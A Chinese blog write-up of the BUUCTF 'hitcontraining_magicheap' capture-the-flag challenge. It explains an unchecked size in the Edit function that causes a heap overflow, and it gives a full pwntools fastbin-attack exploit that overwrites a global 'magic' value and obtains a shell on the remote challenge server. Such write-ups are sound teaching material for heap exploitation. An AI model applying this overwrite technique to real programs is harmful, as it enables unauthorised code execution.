[BUUCTF]hitcontraining_magicheap

checksec:
file
居然没开PIE

file

Create:
file
最多申请10个堆块,size 做了检查。

Edit:
file
这里的size并没有与申请时的size做检查,造成溢出。

Delete:
file
free做了检查

l33t:
file
存在后面函数,且 magic 小于 0x1305 时,自动调用。所以这题可以尝试向 magic 位置写入大于 0x1305 的值。

思路:
先尝试一下利用溢出漏洞,fastbin attack,向 magic 写一个比较大的数。

exp:

#coding:utf-8
from pwn import *

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64    = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

test = 0
if test == 1 :
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn',26508)

elf = ELF('./pwn')
libc = ELF('../libc-2.23/libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level ='debug'
menu = 'Your choice :'

def add(size,payload):
    sla(menu,str(1))
    sla('Size of Heap : ',str(size))
    sla('Content of heap:',payload)

def free(idx):
    sla(menu,str(3))
    sla('Index :',str(idx))

def edit(idx,payload):
    sla(menu,str(2))
    sla('Index :',str(idx))
    sla('Size of Heap : ',str(len(payload)))
    sa('Content of heap : ',payload)

def shell():
    sla(menu,str(4869))
    p.interactive()

magic=0x6020A0

add(0x10,b'\x61'*4)
add(0x60,b'\x61'*4)
add(0x60,b'\x61'*4)
add(0x10,b'\x61'*4)

free(2)
free(1)

edit(0,b'\x61'*0x10+p64(0)+p64(0x70)+p64(magic-0x13))
add(0x60,'')
add(0x60,p8(0)+b'\xff'*4)
shell()

file

这题算是 fastbin attack 的基础题,挺适合堆入门的适合做的。

《[BUUCTF]hitcontraining_magicheap》有1条评论

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据